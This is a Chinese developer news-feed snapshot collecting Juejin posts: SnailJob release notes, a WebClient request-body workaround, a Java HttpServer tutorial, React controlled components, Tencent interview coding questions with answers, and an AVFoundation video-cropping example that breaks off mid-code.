好了,就这么简单,搭建私服 AI 完成。

by 来源: 投稿 at January 25, 2025 01:09 PM

SnailJob v1.3.0 新春版本正式发布,新年快乐

🔥🔥🔥 灵活,可靠和快速的分布式任务重试和分布式任务调度平台

✅️ 可重放,可管控、为提高分布式业务系统一致性的分布式任务重试平台 ✅️ 支持秒级、可中断、可编排的高性能分布式任务调度平台

2024 年度总结

1. 完成品牌升级,将 easy-retry 更名为 Snail-Job,明确了系统定位并提升了品牌影响力。

2. 完成管理系统从 Vue 2 升级至 Vue

3,优化了界面美观性与用户交互体验,特别感谢 Soybean-Admin 项目的支持。 3. 新增 Map 和 MapReduce 功能,全面实现了 Snail-Job 的所有核心功能需求。

4. 新增 Python、Go 和 Java 8 客户端,扩展了多平台客户端支持。

5. 全年共发布 17 个版本,持续优化和迭代。

6. 处理 112 个 issues,成功关闭 50 个,进一步提升了项目的稳定性。

7. 荣获 Gitee “最有价值开源项目”(GVP)奖项,肯定了项目的行业影响力。 8. 加入 GitCode 开源摘星计划(G-Star 计划),进一步扩大了项目的开源生态。

9. 已成功接入上千家企业,持续推动业务落地与扩展。

项目特性

  • 易用性 业务接入成本小。避免依赖研发人员的技术水平,保障稳定性

  • 灵活性 能够动态调整配置,启动 / 停止任务,以及终止运行中的任务

  • 操作简单 分钟上手,支持 WEB 页面对任务数据 CRUD 操作。

  • 数据大盘 实时管控系统任务数据

  • 分布式重试任务 支持多样化退避策略、多样化重试类型、流量管控等

  • 分布式调度任务 提供丰富的任务触发策略、任务分片、停止恢复、失败重试等

  • 工作流任务编排 仿钉钉设计的流程编排引擎,支持复杂的功能编排、失败重试、告警等

  • 任务数据管理 可以做到数据不丢失、数据一键回放

  • 容器化部署 服务端支持 docker 容器部署

  • 高性能调度平台 支持服务端节点动态扩容和缩容

  • 支持多样化的告警方式 邮箱、企业微信、钉钉、飞书、自定义告警

  • 支持多种流行数据库 mysql、mariadb、sqlserver、oracle、postgres 数据库

开源组件对比

项目 Quartz Elastic-Job XXL-JOB PowerJob Snail Job
跨语言能力 不支持 不支持 不支持 不支持 支持 java (1.8/17)、Python、Go 客户端 (开发中)
定时调度 Cron Cron Cron CRON、固定频率、固定延迟、OpenAPI 1. 定时任务 2. 秒级任务 (无需依赖外部中间件) 3. 固定频率 4.OpenAPI
重试任务 不支持 不支持 不支持 不支持 1. 支持本地 & 远程重试模式 2. 支持各种常用组件的重试 比如 dubbo/feign 3. 支持多种退避策略 4. 丰富的重试风暴管控手段 ......
任务编排 不支持 不支持 不支持 支持 仿钉钉工作流设计,颜值高、体验好
分布式计算 不支持 静态分片 广播 支持 1. 广播执行 2. 集群执行 3. 静态分片 4. 动态分片
多语言 Java 1. Java 2. 脚本任务 1. Java 2. 脚本任务 支持 1. Java 2. CMD (本地脚本、远程脚本、参数传人) 3. PowerShell (本地脚本、远程脚本、参数传人) 3. Shell (本地脚本、远程脚本、参数传人) 4. HTTP 任务
用户管理 不支持 支持 支持 不支持 完备的用户管理和权限管理
安全 Token 不支持 不支持 支持 不支持 支持
可视化 1. 历史记录 2. 运行日志(不支持存储)3. 监控大盘 支持 1. 历史记录 2. 实时日志 (支持持久化、可视化) 3. 监控大盘 (实时调度数据展示) 4. 失败调度排名 5. 在线集群查看等
可运维 启用、禁用任务 1. 启用、禁用任务 2. 手动运行任务 3. 停止任务 支持 1. 启用、禁用任务 2. 手动运行任务 3. 停止任务 4、手动重试
报警监控 邮件 邮件 邮件 支持配置多种告警场景,通知方式支持: 1. 邮件 2. 钉钉 3. 企微 4. 飞书 5、Webhook
性能 每次调度通过 DB 抢锁,对 DB 压力大 ZooKeeper 是性能瓶颈 采用 Master 节点调度,Master 节点压力大 无锁化设计 系统采用多 bucket 模式,借助负载均衡算法,确保每个节点能够均衡处理任务,同时支持无限水平扩展,轻松应对海量任务调度
接入成本 只依赖 DB 接入成本低 需引入 Zookeeper 增加系统复杂性和维护成本 只依赖 DB 接入成本低 依赖 DB 接入成本低 只依赖 DB 接入成本低

更新日志

  1. 新增 Grpc 通讯模块【新增】
  2. 修改服务端默认端口号为 17888【优化】
  3. 设置客户端 client 为 - 1 时,支持随机端口号【新增】
  4. 邮箱通知添加额外的自定义属性【新增】
  5. 增加删除功能 OpenApi【新增】
  6. isRetry 改为 retryStatus 【优化】
  7. 将内置执行器移入 builtin 包【优化】
  8. 调整客户端注册逻辑;使用主节点模式对客户端进行续签【优化】
  9. 优化重试场景、定时任务、工作流告警通知配置【优化】
  10. 手动执行任务 / 工作流支持传入临时参数【新增】
  11. 定时任务新增负责人选项【新增】
  12. 定时任务增加执行器信息搜索条件【新增】
  13. 支持无客户端时告警功能【新增】
  14. 客户执行失败支持显示失败原因【新增】
  15. 负责人支持清除【新增】
  16. 优化cron表达式解析错误异常信息

注意 本次新增了 Grpc 协议,后续计划逐渐废弃 Netty 请大家尽快切换

snail-job.rpc-type=grpc

MYSQL 变更 (其他 DB 变更请自行同步)

全量的 SQL 请参考项目 /doc/sql/x.sql

ALTER TABLE `sj_notify_config`
   ADD COLUMN `notify_name` VARCHAR(64) NOT NULL DEFAULT '' COMMENT '通知名称',
   DROP COLUMN `business_id`;

ALTER TABLE `sj_job`
   ADD COLUMN `notify_ids` VARCHAR(128) NOT NULL DEFAULT '' COMMENT '通知告警场景配置id列表',
   ADD COLUMN `owner_id`   bigint(20)   NULL COMMENT '负责人id';

ALTER TABLE `sj_retry_scene_config`
   ADD COLUMN `notify_ids` VARCHAR(128) NOT NULL DEFAULT '' COMMENT '通知告警场景配置id列表';

ALTER TABLE `sj_workflow`
   ADD COLUMN `notify_ids` VARCHAR(128) NOT NULL DEFAULT '' COMMENT '通知告警场景配置id列表';

项目地址

方便的话给项目一个 star,你的支持是我们前进的动力!

先睹为快

by 来源: 投稿 at January 25, 2025 12:50 PM

hackernews

juejin backend

WebClient 获取不到请求体如何破解?

起初在开发过程中,我遇到了一个困扰我的问题:当我将对象转换为JSON时,得到的结果与最终传给第三方接口的请求体并不一致。这个问题导致我在进行加密操作时出现了错误,因为加密的过程是基于请求体的,而请求体又受到不同因素的影响。因此,我希望能在类内部直接获取到请求体(body),以便进行加密。

然而,在查阅了一番资料后,发现 WebClient 并没有直接提供获取请求体的接口。即使我强行实现这一功能,过程也会相当繁琐。经过一番深思熟虑,我决定采用曲线救国的方法来解决这一问题。接下来,我将详细分享我是如何绕过这个困难并顺利解决问题的。

破局

首先,问题的根源在于双方请求体的JSON转换结果不一致,导致加密过程中的报错。按照逻辑,既然加密是基于请求体进行的,而请求体的格式在转换时已经出现了问题,那是不是可以直接将我自己已经转换好的JSON数据传递给第三方接口呢?

这样一来,就不再需要纠结于双方请求体转换过程中不一致的原因和细节,避免了因各种差异性带来的困扰。

MultiValueMap<String, String> jsonContentHeaders = hunYuanAuthApi.getHttpHeadersConsumer(HunYuanConstants.DEFAULT_CHAT_ACTION,chatRequest);
        return this.webClient.post().uri("/").headers(headers -> {
                headers.addAll(jsonContentHeaders);
            })
            .bodyValue(ModelOptionsUtils.toJsonString(chatRequest))
//            .body(Mono.just(chatRequest), ChatCompletionRequest.class)
            .retrieve()
            .bodyToFlux(String.class);

我之前在代码中使用的是 body(Mono.just(chatRequest), ChatCompletionRequest.class) 方法,其中传递的是一个对象,但这样做存在问题。后来我调整了代码,改为直接使用在加密时的转 JSON 方法,将数据转换成 JSON 格式再传递,结果完美解决了问题。

有些人可能想要去读取请求体,无非就是想打印数据,这里可以直接使用打印,并将数据传递过去即可。如果需求不仅限于打印请求体,且还希望获取一些额外的信息,例如请求头中的数据,那么在这种情况下,你可以考虑使用过滤器的方式来实现。具体的实现方法如下所示:

ExchangeFilterFunction filter = ExchangeFilterFunction.ofRequestProcessor(request -> {
    //打印头和cookie
    logger.info("Request Headers: {}", request.headers());
    logger.info("Request Cookies: {}", request.cookies());
    return Mono.just(request);
});

this.webClient = WebClient.builder().baseUrl(baseUrl).filter(filter).defaultHeaders(jsonContentHeaders).build();

这个方法本身并不能直接打印请求体(body)参数,因为它的作用范围主要限于处理请求的元数据。

如果你还是执着于如何获取请求体方法,也不妨可以看看这里,解决方法确实很费劲。我也没有亲自尝试一下,地址如下:stackoverflow.com/questions/4…

起初我依赖传统的方式处理请求体,但最终却发现这些方法并不适用。经过反复思考和调整,我决定采取更加灵活的方式,直接传递已转换好的JSON数据,这一策略成功绕过了原本的问题。在解决这个问题的过程中面对复杂的技术难题,仅仅依赖常规的工具和方法并不足以高效解决问题。多尝试不同的解决方法是至关重要的。


我是努力的小雨,一个正经的 Java 东北服务端开发,整天琢磨着 AI 技术这块儿的奥秘。特爱跟人交流技术,喜欢把自己的心得和大家分享。还当上了腾讯云创作之星,阿里云专家博主,华为云云享专家,掘金优秀作者。各种征文、开源比赛的牌子也拿了。

💡 想把我在技术路上走过的弯路和经验全都分享出来,给你们的学习和成长带来点启发,帮一把。

🌟 欢迎关注努力的小雨,咱一块儿进步!🌟

by 努力的小雨 at January 25, 2025 12:09 PM

juejin frontend

前端视角 Java Web 入门手册 1.5:Java Web 的 Hello World!

Node.js HTTP Server

学过 Node.js 的同学肯定会对创建一个 HttpServer 的代码印象深刻

const http = require('http');

const hostname = '127.0.0.1';
const port = 3000;

const server = http.createServer((req, res) => {
  res.statusCode = 200;
  res.setHeader('Content-Type', 'text/plain');
  res.end('Hello World');
});

server.listen(port, hostname, () => {
  console.log(`Server running at http://${hostname}:${port}/`);
});

Java HttpServer

在 Java 中创建一个 HTTP 服务器同样很简单,Java 提供了内置的 com.sun.net.httpserver.HttpServer 类,使得开发者可以快速搭建一个轻量级的 HTTP 服务器,严格意义上讲,这次是本门课程的 Helllo world!

import java.io.OutputStream;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;

public class MyFunctionalHttpServer {

  public static void main(String[] args) throws Exception {
    // 第二个参数 0 表示使用默认的连接队列大小 
    HttpServer server = HttpServer.create(new InetSocketAddress(8080), 0);
    server.createContext("/", (exchange -> {
      String response = "Hello Java Web!";
      exchange.sendResponseHeaders(200, response.length());
      OutputStream os = exchange.getResponseBody();
      os.write(response.getBytes());
      os.close();
    }));
    server.setExecutor(null);
    server.start();
    System.out.println("Server started on port 8080");
  }
}

代码几乎可以和 Node.js 版本一一对应,保存上述代码为 SimpleHttpServer.java,然后在终端中编译:

$ javac SimpleHttpServer.java
$ java SimpleHttpServer

在浏览器访问 http://localhost:8080 可以看到响应内容

可以稍微完善一下代码

import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;

import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;

public class SimpleHttpServer {

    public static void main(String[] args) throws IOException {
        int port = 8000; // 服务器监听端口
        HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);

        // 创建上下文 /hello,关联处理器
        server.createContext("/hello", new HelloHandler());

        // 设置默认处理器
        server.createContext("/", new RootHandler());

        server.setExecutor(null); // 使用默认的线程池
        server.start();
        System.out.println("服务器已启动,访问 http://localhost:" + port);
    }

    // 处理 /hello 请求的Handler
    static class HelloHandler implements HttpHandler {
        @Override
        public void handle(HttpExchange exchange) throws IOException {
            // 仅处理GET请求
            if ("GET".equals(exchange.getRequestMethod())) {
                String response = "Hello, World!";
                exchange.sendResponseHeaders(200, response.getBytes().length); // 发送状态码和响应长度
                OutputStream os = exchange.getResponseBody();
                os.write(response.getBytes());
                os.close();
            } else {
                // 其他方法返回405 Method Not Allowed
                exchange.sendResponseHeaders(405, -1);
            }
        }
    }

    // 处理根路径 / 的Handler
    static class RootHandler implements HttpHandler {
        @Override
        public void handle(HttpExchange exchange) throws IOException {
            String response = "欢迎来到简单的Java HTTP服务器!";
            exchange.sendResponseHeaders(200, response.getBytes().length);
            OutputStream os = exchange.getResponseBody();
            os.write(response.getBytes());
            os.close();
        }
    }
}

可以为不同的URL路径设置不同的上下文和处理器,以实现多路由的功能

server.createContext("/api/users", new UsersHandler());
server.createContext("/api/products", new ProductsHandler());

除了 GET 方法,还可以在处理器中添加对 POST、PUT、DELETE 等 HTTP 方法的支持

@Override
public void handle(HttpExchange exchange) throws IOException {
    String method = exchange.getRequestMethod();
    switch (method) {
        case "GET":
            // 处理GET请求
            break;
        case "POST":
            // 处理POST请求
            break;
        // 其他方法...
        default:
            exchange.sendResponseHeaders(405, -1); // Method Not Allowed
    }
}

可以设置自定义的响应头和状态码,以实现更丰富的 HTTP 响应

@Override
public void handle(HttpExchange exchange) throws IOException {
    String response = "Custom Header Response";
    exchange.getResponseHeaders().add("Content-Type", "text/plain");
    exchange.getResponseHeaders().add("X-Custom-Header", "MyHeaderValue");
    exchange.sendResponseHeaders(200, response.getBytes().length);
    OutputStream os = exchange.getResponseBody();
    os.write(response.getBytes());
    os.close();
}

值得注意的是,虽然使用 HttpServer 创建服务器简单,但在生产环境中通常建议使用成熟的框架(如Spring Boot)或专门的服务器(如Tomcat、Jetty)来处理更复杂的需求,如高并发、安全性和扩展性等

接下来正式进入 Java Web 的世界吧~

by 谦行 at January 25, 2025 11:31 AM

React第二十五章(受控组件/非受控组件)

React 受控组件理解和应用

React 受控组件

受控组件一般是指表单元素,表单的数据由React的 State 管理,更新数据时,需要手动调用setState()方法,更新数据。因为React没有类似于Vue的v-model,所以需要自己实现绑定事件。

那为什么需要使用受控组件呢?

使用受控组件可以确保表单数据与组件状态同步、便于集中管理和验证数据,同时提供灵活的事件处理机制以实现数据格式化和UI联动效果。

案例

我们在界面的输入框中输入内容,这时候你会发现这个value是只读的,无法修改,还会报错

hook.js:608 You provided a value prop to a form field without an onChange handler. This will render a read-only field. If the field should be mutable use defaultValue. Otherwise, set either onChange or readOnly. Error Component Stack

import React, { useState } from 'react';

const App: React.FC = () => {
  const [value, setValue] = useState('')
  return (
    <>
      <input type="text" value={value} />
      <div>{value}</div>
    </>
  );
}

export default App;

当用户输入内容的时候,value并不会自动更新,这时候就需要我们手动实现一个onChange事件来更新value。

import React, { useState } from 'react';

const App: React.FC = () => {
  const [value, setValue] = useState('')
  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    setValue(e.target.value)
  }
  return (
    <>
      <input type="text" value={value} onChange={handleChange} />
      <div>{value}</div>
    </>
  );
}

export default App;

其实就是实现了一个类似Vue的v-model的机制,通过onChange事件来更新value,这样就实现了受控组件。

受控组件适用于所有表单元素,包括input、textarea、select等。但是除了input type="file" 外,其他表单元素都推荐使用受控组件。

React 非受控组件

非受控组件指的是该表单元素不受React的State管理,表单的数据由DOM管理。通过useRef()来获取表单元素的值。

请看VCR

我们使用defaultValue来设置表单的默认值,但是你要想实时获取值,就需要使用useRef()来获取表单元素的值。跟操作DOM一样。

import React, { useState,useRef } from 'react';
const App: React.FC = () => {
  const value = '小满'
  const inputRef = useRef<HTMLInputElement>(null)
  const handleChange = () => {
    console.log(inputRef.current?.value)
  }
  return (
    <>
      <input type="text" onChange={handleChange} defaultValue={value} ref={inputRef} />
    </>
  );
}

export default App;

特殊的表单File

对于file类型的表单控件,它是一个特殊的组件,因为它的值只能由用户通过文件选择操作来设置,而不能通过程序直接设置。这使得它在React中的处理方式与其他表单元素有所不同。

请看VCR

如果非要把file类型设置为受控组件,他就会就行报错

hook.js:608 A component is changing an uncontrolled input to be controlled. This is likely caused by the value changing from undefined to a defined value, which should not happen. Decide between using a controlled or uncontrolled input element for the lifetime of the component. More info:

报错内容大致为:

一个组件正在将一个未受控的输入控件改为受控的。这可能是由于值从未定义变为已定义,这应该不会发生。在组件的生命周期内,决定使用受控还是未受控的输入控件。

import React, { useState } from 'react';
const App: React.FC = () => {
  const [files,setFiles] = useState<File | null>(null)
  const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {
    setFiles(e.target.files?.[0]!)
  }
  return (
    <>
      <input type="file" value={files} onChange={handleChange} />
    </>
  );
}

export default App;

修改为非受控组件

import React, { useRef } from 'react';
const App: React.FC = () => {
  const inputRef = useRef<HTMLInputElement>(null)
  const handleChange = () => {
    console.log(inputRef.current?.files)
  }
  return (
    <>
      <input type="file" ref={inputRef} onChange={handleChange} />
    </>
  );
}

export default App;

by 小满zs at January 25, 2025 11:00 AM

腾讯前端开发校招一面笔试题

前言

小编我自从360实习归来之后也是马不停蹄的开始了校招的找工作,没有停下学习的脚步,前端时间投了许多简历也约到了不少的公司面试,唯独就是迟迟约不到大厂的面试,兴许是快过年了大家都已经准备收工回家过年了,随着大年三十越来越近,大家回家的心也归心似箭,年味也越来越显,可惜我还是一个没有找到工作的孩子哇呜呜呜(欲哭无泪),没伞的孩子只能努力奔跑......前几天也是终于约到了一家大厂腾讯的前端开发校招面试,面试前的一段时间还是十分紧张,不停的在刷算法背八股复习面试题,心里就像悬着一块大石头,就怕面试的时候一问三不知,到时候就尴尬了......面完后,悬着的心终于死掉了,感觉被吊打了,裂开,果然顶级大厂腾讯的面试就是不一样,问的不仅深还广,可谓是全方位拷打,面完人已经麻了。这不马上就给大家来分享一下我的面试经验。

腾讯面试官上来就是让我当场手撕代码题,给了我6道题目,限时20分钟,让我20分钟内写完。我听完当头就是一棒,what?!! 20分钟?六道算法题??这是能干的事吗?这也太看得起我了吧,人已经傻了,已老实。呆了1分钟后也是开始了大脑的运转,最后也是争气的写完了4题半,到了20分钟面试官也是打断我说时间到了,开始看看我的作答了。看完后感觉面试管也是觉得还可以的样子,也没有说我啥,就继续开始的一个小时的面试拷打环节。今天这篇文章先和大家分享一下腾讯的这六道笔试代码题。下文在和大家分享一下面试的题目。

笔试题

题目一

有字符串 var = 'abc345efgabcab',请写出 3 条 JS 语句分别实现如下 3 个功能(使用正则):

1)去掉字符串中的a、b、c 字符,形成结果:'345efg'

2)将字符串中的数字用中括号括起来,形成结果:'abc[345]efgabcab'

3)将字符串中的每个数字的值分别乘以 2,形成结果:'abc6810efgabcab'

这道题考察的并不难,就是考察大家对正则表达试的理解和应用,如果你会正则表达式的话,是可以很快写出来的

1)

解答
var str='abc345efgabcab'
1)
var res=str.replace(/[abc]/g,'')
console.log(res)
2)
var res2=str.replace(/\d+/g,function(match){
    return '['+match + ']'
})
console.log(res2)
3)
var res3=str.replace(/\d/g,function(match){
    return (parseInt(match)*2).toString()
})
console.log(res3)

像第三小问就是

  • 使用正则表达式 /\d/g 匹配每个单独的数字字符。
  • 通过回调函数将每个数字字符转换为整数并乘以 2,然后转换回字符串。
  • 最终输出结果为 "abc6810efgabcab"

image-20250125174928099

可以看到结果也是没有什么问题的。

题目二

请写出以下程序的输出

const arr = [3, 1, 4, 1, 5, 9]; const sortedArr = arr.sort((a, b) => a - b); console.log(sortedArr); console.log(arr);

这道题很简单,就是考察对数组的排序方式以及对sort方法的理解,sort 方法会直接修改原数组,并返回排序后的数组。参数 (a, b) => a - b 是一个比较函数,用于实现升序排序知道了这些就很容易知道输出的结果都是1,1,3,4,5,9

image-20250125175728493

题目三

多种方式实现多层嵌套数组扁平化

这种题目也是笔试和面试当中常考的题目,大家也需要十分清楚。我当时写出了两种一种是使用api flat()方法,另一种是使用递归

使用flat()

const arr = [1, 2, [3, 4, [5]]];
//数组的扁平化
const newArr = arr.flat(Infinity);
console.log(newArr); 

这里我就用flat(Infinity),这个就代表不管你是几维数组,我都给你降成一维数组

使用递归

递归是一种常见的实现数组扁平化的方法。它的思路是通过递归遍历数组里的所有元素,如果遇到数组,则继续递归处理,直到将所有元素都放入一个新的一维数组中。具体实现方式有直接递归和reduce()方法两种。

直接递归:

直接递归的实现就是通过循环遍历数组元素,判断当前元素是否为数组,如果是,则递归调用扁平化函数,如果不是,则将其加入到新的一维数组中。

const arr = [1, 2, [3, 4, [5]]];
//使用递归来解决
function flatten(arr) {
    let res = [];
    for (let i = 0; i < arr.length; i++) {
        if (Array.isArray(arr[i])) {
            //res=res.concat(flatten(arr[i]));
            res = [...res, ...flatten(arr[i])]
        } else {
            res.push(arr[i]);
        }
    }
    return res;
}
const newArr = flatten(arr);
console.log(newArr);
  1. 在循环体内,用Array.isArray(arr[i])判断当前元素是否为数组。

    如果当前元素arr[i]是一个数组,则对该子数组进行递归调用flatten(arr[i]),将扁平化后的结果与res数组合并。这里可以使用扩展运算符...来展幵数组,等价于使用res = res.concat(flatten(arr[i]))。这两种方法效果是一样的。

    如果当前元素不是一个数组,则直接将该元素arr[i] push到结果数组res中。

递归 配合reduce()

reduce()方法也可以遍历数组的所有元素,还能将他们累加起来

const arr = [1, 2, [3, 4, [5]]];
function flatten(arr) {
   return arr.reduce((pre,item) => {
    return pre.concat(Array.isArray(item)? flatten(item) : item)//[1,2],[3,4],[5]
    },[])
}
console.log(flatten(arr));

flatten函数内部,使用了数组的reduce方法。reduce方法会对数组中的每个元素执行一个提供的 reducer 函数(升序执行),最终结果是将数组简化为单一的输出值。reduce 的目的是将多维数组扁平化为一维数组。

  • reduce的第一个参数是一个回调函数,该回调函数接收两个参数:累计器pre(previousValue)和当前元素item(currentValue)。

  • 回调函数内部,首先检查item是否为数组(Array.isArray(item)`):

    如果item是数组,就对这个子数组递归调用flatten函数,然后再与累计器pre进行拼接(pre.concat(flatten(item)))。这样可以处理任意深度的嵌套数组。

    如果item不是一个数组,直接将其添加到累计器pre中。

  • reduce的第二个参数是一个初始值[],即累计器pre的初始状态,表示扁平化结果的起始为空数组。

如果还想了解更多方法的大家可以去看看我之前的这篇文章,介绍了5种数组扁平化的方法=>面试热点:数组扁平化的五种方法前言 在咱们面试的过程中,很容易会被面试官问到这样一道题:请问你如何实现一个数组的扁平化呢 - 掘金 (juejin.cn)

题目四

实现promise.All 函数

果然,终究还是逃不过面试官的手撕代码拷打,我这题只写了一半,不过面试官没有刁难我,就问了我思路和想法,我也是都说了出来,

function promiseAll(promises) {
  return new Promise((resolve, reject) => {
    // 如果输入不是数组,直接 reject
    if (!Array.isArray(promises)) {
      return reject(new TypeError('Argument must be an array'));
    }

    const results = []; // 存储每个 Promise 的结果
    let completedCount = 0; // 记录已完成的 Promise 数量

    // 遍历 Promise 数组
    promises.forEach((promise, index) => {
      // 将非 Promise 值转换为 Promise
      Promise.resolve(promise)
        .then((result) => {
          results[index] = result; // 将结果存入对应位置
          completedCount++;

          // 如果所有 Promise 都完成,resolve 结果数组
          if (completedCount === promises.length) {
            resolve(results);
          }
        })
        .catch((error) => {
          // 如果任何一个 Promise 失败,直接 reject
          reject(error);
        });
    });

    // 如果传入空数组,直接 resolve 空数组
    if (promises.length === 0) {
      resolve(results);
    }
  });
}
// 测试用例 1:所有 Promise 成功
const p1 = Promise.resolve(1);
const p2 = Promise.resolve(2);
const p3 = Promise.resolve(3);

promiseAll([p1, p2, p3])
  .then((results) => {
    console.log(results); // 输出: [1, 2, 3]
  })
  .catch((error) => {
    console.error(error);
  });

// 测试用例 2:包含一个失败的 Promise
const p4 = Promise.resolve(4);
const p5 = Promise.reject('Error occurred');
const p6 = Promise.resolve(6);

promiseAll([p4, p5, p6])
  .then((results) => {
    console.log(results);
  })
  .catch((error) => {
    console.error(error); // 输出: "Error occurred"
  });

// 测试用例 3:非数组参数
promiseAll('not an array')
  .then((results) => {
    console.log(results);
  })
  .catch((error) => {
    console.error(error); // 输出: TypeError: Argument must be an array
  });

// 测试用例 4:空数组
promiseAll([])
  .then((results) => {
    console.log(results); // 输出: []
  })
  .catch((error) => {
    console.error(error);
  });

后面面试官又让我介绍一下promise.all()、promise.allSetted()、promise.race(),

race()我记得,但是allSetted()我是真的忘了(想哭)

promise.allSetted()是接收一个 Promise 数组,等待所有 Promise 完成(无论成功或失败),并返回一个包含每个 Promise 结果的对象数组。

promise.race()接收一个 Promise 数组,返回第一个完成(无论成功或失败)的 Promise 的结果。

promise.all()接收一个 Promise 数组,当所有 Promise 都成功时返回一个包含所有结果的数组;如果任何一个 Promise 失败,则立即返回失败的结果。

面完后我专门去写了一篇文章整理了promise的所有方法,大家有兴趣的可以看看我的这篇文章=>promise的方法总结Promise 是 JavaScript 中用于处理异步操作的对象。它表示一个异步操作的最终完成 - 掘金 (juejin.cn)

题目五

js实现大数相加

这道题我没写出来主要是时间不够了,我写了最后一题第六题,这题就没时间了,不过当时和面试官说了一下大概思路他也是比较满意的。

在 JavaScript 中,数字的精度有限,最大安全整数是 2^53 - 1(即 9007199254740991)。如果超过这个范围,直接使用 + 运算符会导致精度丢失。因此,对于大数相加,我们需要将数字作为字符串处理,逐位相加并处理进位。

主要思路就是这样:

  1. 将数字作为字符串处理。
  2. 反转字符串,方便从低位到高位逐位相加。
  3. 逐位相加并处理进位。
  4. 反转结果,得到最终的大数相加结果。
function addBigNumbers(num1, num2) {
  // 将两个数字字符串反转,方便从低位到高位逐位相加
  let arr1 = num1.split('').reverse();
  let arr2 = num2.split('').reverse();
  let result = []; // 存储结果
  let carry = 0; // 进位

  // 遍历较长的数组
  for (let i = 0; i < Math.max(arr1.length, arr2.length); i++) {
    // 获取当前位的数字,如果不存在则默认为 0
    const digit1 = arr1[i] ? parseInt(arr1[i]) : 0;
    const digit2 = arr2[i] ? parseInt(arr2[i]) : 0;

    // 计算当前位的和(包括进位)
    const sum = digit1 + digit2 + carry;

    // 计算当前位的结果和新的进位
    result.push(sum % 10);
    carry = Math.floor(sum / 10);
  }

  // 如果最后还有进位,添加到结果中
  if (carry > 0) {
    result.push(carry);
  }

  // 将结果反转并转换为字符串
  return result.reverse().join('');
}
// 测试用例 1:普通大数相加
const num1 = '12345678901234567890';
const num2 = '98765432109876543210';
console.log(addBigNumbers(num1, num2)); // 输出: "111111111011111111100"

// 测试用例 2:一个大数和一个小数相加
const num3 = '99999999999999999999';
const num4 = '1';
console.log(addBigNumbers(num3, num4)); // 输出: "100000000000000000000"

// 测试用例 3:两个小数相加
const num5 = '123';
const num6 = '456';
console.log(addBigNumbers(num5, num6)); // 输出: "579"

// 测试用例 4:包含前导零的数字
const num7 = '000123';
const num8 = '000456';
console.log(addBigNumbers(num7, num8)); // 输出: "579"

题目六

编写二叉树的前序遍历函数(简写)

这道题很简单,如果平常会刷二叉树的算法的话这题应该都能很快写出来的,这里我就不多说了,

var preorderTraversal = function(root) {
    const res=[];//用于存储遍历的结果
    preorder(root,res);
    return res;
};
//设置函数用于递归遍历
const preorder=(root,res)=>{
    if(root===null) return;//当前节点为空时,无需进行递归
    res.push(root.val)//记录根节点值
    preorder(root.left,res);//前序遍历左子树
    preorder(root.right,res);//前序遍历右子树
}

总结

这六道笔试题坐下来整体感觉不是很难,主要就是时间不够,20分钟需要写完,我只写了4题半,我还是写的太慢了,需要多练练多沉淀沉淀。果然腾讯的面试就是不一样,上来就是手撕代码。还得加油练,今天的分享就先到这里了,下文在和大家分享一下被腾讯面试官拷打的一个小时。已老实。

by 最近好乐 at January 25, 2025 10:37 AM

juejin ios

AVFoundation

裁剪视频Size

使用 AVFoundation如何裁剪视频大小,比如 原视频为 width: 920, height: 1680 我想裁剪为 width: 920, height: 1680 * 0.6 但是是从 1680 * 0.1开始裁剪

使用 AVFoundation 裁剪视频大小,可以通过 AVMutableCompositionAVVideoComposition 来实现。以下是具体的步骤和代码示例,展示如何从原始视频中裁剪出指定区域(例如从高度 1680 * 0.1 开始,裁剪出高度为 1680 * 0.6 的区域)。


实现步骤

  1. 加载视频资源

    • 使用 AVAsset 加载原始视频。
  2. 创建 AVMutableComposition

    • 用于将视频和音频轨道添加到新的组合中。
  3. 设置裁剪区域

    • 使用 AVVideoCompositionrenderSizeinstructions 来定义裁剪区域。
  4. 导出视频

    • 使用 AVAssetExportSession 将裁剪后的视频导出到文件。

完整代码实现

import UIKit
import AVFoundation
import Photos

class VideoCroppingViewController: UIViewController {
    override func viewDidLoad() {
        super.viewDidLoad()
        
        // 1. 加载本地视频
        guard let videoURL = Bundle.main.url(forResource: "input_video", withExtension: "mp4") else {
            print("视频文件未找到")
            return
        }
        
        // 2. 定义裁剪区域
        let originalWidth: CGFloat = 920
        let originalHeight: CGFloat = 1680
        let cropStartY: CGFloat = originalHeight * 0.1 // 从高度的 10% 开始裁剪
        let cropHeight: CGFloat = originalHeight * 0.6 // 裁剪高度为 60%
        
        let cropRect = CGRect(x: 0, y: cropStartY, width: originalWidth, height: cropHeight)
        
        // 3. 裁剪视频
        cropVideo(sourceURL: videoURL, cropRect: cropRect) { outputURL in
            if let outputURL = outputURL {
                print("裁剪后的视频已保存到: \(outputURL)")
                
                // 4. 保存到相册
                self.saveVideoToPhotoLibrary(url: outputURL)
            } else {
                print("视频裁剪失败")
            }
        }
    }
    
    // 裁剪视频
    func cropVideo(sourceURL: URL, cropRect: CGRect, completion: @escaping (URL?) -> Void) {
        // 1. 加载视频资源
        let asset = AVURLAsset(url: sourceURL)
        
        // 2. 创建 AVMutableComposition
        let composition = AVMutableComposition()
        
        // 3. 添加视频轨道
        guard let videoTrack = asset.tracks(withMediaType: .video).first else {
            print("无法获取视频轨道")
            completion(nil)
            return
        }
        
        let compositionVideoTrack = composition.addMutableTrack(withMediaType: .video, preferredTrackID: kCMPersistentTrackID_Invalid)
        do {
            try compositionVideoTrack?.insertTimeRange(CMTimeRange(start: .zero, duration: asset.duration), of: videoTrack, at: .zero)
        } catch {
            print("插入视频轨道失败: \(error.localizedDescription)")
            completion(nil)
            return
        }
        
        // 4. 添加音频轨道
        if let audioTrack = asset.tracks(withMediaType: .audio).first {
            let compositionAudioTrack = composition.addMutableTrack(withMediaType: .audio, preferredTrackID: kCMPersistentTrackID_Invalid)
            do {
                try compositionAudioTrack?.insertTimeRange(CMTimeRange(start: .zero, duration: asset.duration), of: audioTrack, at: .zero)
            } catch {
                print("插入音频轨道失败: \(error.localizedDescription)")
            }
        }
        
        // 5. 创建 AVVideoComposition
        let videoComposition = AVMutableVideoComposition()
        videoComposition.renderSize = CGSize(width: cropRect.width, height: cropRect.height)
        videoComposition.frameDuration = CMTime(value: 1, timescale: 30) // 30 FPS
        
